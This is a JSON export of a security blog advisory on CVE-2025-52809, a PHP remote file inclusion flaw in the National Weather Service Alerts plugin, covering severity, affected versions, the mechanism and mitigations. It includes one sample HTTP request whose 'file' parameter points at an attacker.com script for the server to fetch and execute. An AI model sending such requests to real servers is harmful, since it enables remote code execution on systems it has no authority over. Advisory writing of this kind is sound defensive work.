{"id":57782,"date":"2025-07-06T05:37:46","date_gmt":"2025-07-06T05:37:46","guid":{"rendered":""},"modified":"2025-09-26T19:45:54","modified_gmt":"2025-09-27T01:45:54","slug":"cve-2025-52809-php-remote-file-inclusion-vulnerability-in-national-weather-service-alerts","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-52809-php-remote-file-inclusion-vulnerability-in-national-weather-service-alerts\/","title":{"rendered":"<strong>CVE-2025-52809: PHP Remote File Inclusion Vulnerability in National Weather Service Alerts<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity landscape is under a constant state of threat, with new vulnerabilities being discovered regularly. One such recent discovery is the CVE-2025-52809. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-22460-privilege-escalation-vulnerability-in-ivanti-cloud-services-application\/\"  data-wpil-monitor-id=\"64709\">vulnerability affects the National Weather Service<\/a> Alerts software, particularly versions up to and including 1.3.5, posing a significant threat to its users. It pertains to an Improper Control of Filename for Include\/Require Statement in PHP Program, also known as PHP Remote <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6426-executable-file-warning-vulnerability-in-firefox-for-macos\/\"  data-wpil-monitor-id=\"64286\">File Inclusion vulnerability<\/a>. The concerns emerging from this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32976-two-factor-authentication-bypass-vulnerability-in-quest-kace-systems-management-appliance\/\"  data-wpil-monitor-id=\"64314\">vulnerability involve the potential for system<\/a> compromise and data leakage, which makes it crucial for affected users to take immediate action.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-52809<br \/>\nSeverity: High (CVSS: 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3090-unauthenticated-remote-attack-leading-to-potential-data-leakage-and-system-compromise\/\"  data-wpil-monitor-id=\"64597\">Potential system compromise or data leakage<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1141977119\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>John Russell National Weather Service Alerts | Up to and including 1.3.5<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-56731-remote-command-execution-vulnerability-in-gogs\/\"  data-wpil-monitor-id=\"64302\">vulnerability CVE-2025-52809 is a PHP Remote<\/a> File Inclusion (RFI) exploit. In simple terms, it <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20281-critical-vulnerability-in-cisco-ise-and-ise-pic-apis-allows-remote-code-execution\/\"  data-wpil-monitor-id=\"64596\">allows an attacker to inject a remote<\/a> file (usually a malicious script) into a PHP program. This happens when the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48160-improper-control-of-filename-for-php-program-in-cocobasic-caliris\/\"  data-wpil-monitor-id=\"84648\">PHP application does not properly control the filename<\/a> that is passed to the &#8216;include&#8217; or &#8216;require&#8217; statement. Consequently, an attacker can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48466-remote-manipulation-of-digital-outputs-via-modbus-tcp-packets\/\"  data-wpil-monitor-id=\"64278\">manipulate these statements to include files from a remote<\/a> server, which then get executed by the server hosting the vulnerable application.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1406351010\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: vulnerable.example.com<\/code><\/pre>\n<p>In the above example, the attacker tricks the server into <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50754-stored-cross-site-scripting-xss-vulnerability-leading-to-remote-code-execution-in-unisite-cms-5-0\/\"  data-wpil-monitor-id=\"74644\">executing a malicious script<\/a> (`malicious_script.txt`) hosted on their own server (`attacker.com`).<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>To mitigate this vulnerability, users are strongly advised to apply the patch provided by the vendor. In cases where immediate patching is not feasible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure, which can help in <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20217-denial-of-service-vulnerability-in-snort-3-detection-engine-of-cisco-secure-firewall-threat-defense-software\/\"  data-wpil-monitor-id=\"76936\">detecting and blocking attempted exploits of this vulnerability<\/a>. Furthermore, it is always a good practice to validate, sanitize, and limit input in &#8216;include&#8217; and &#8216;require&#8217; statements in PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36038-remote-code-execution-vulnerability-in-ibm-websphere-application-server\/\"  data-wpil-monitor-id=\"64668\">applications to prevent such vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity landscape is under a constant state of threat, with new vulnerabilities being discovered regularly. One such recent discovery is the CVE-2025-52809. This vulnerability affects the National Weather Service Alerts software, particularly versions up to and including 1.3.5, posing a significant threat to its users. It pertains to an Improper Control of Filename [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-57782","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57782","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=57782"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57782\/revisions"}],"predecessor-version":[{"id":77433,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57782\/revisions\/77433"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=57782"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=57782"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=57782"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=57782"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=57782"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=57782"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=57782"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=57782"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=57782"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}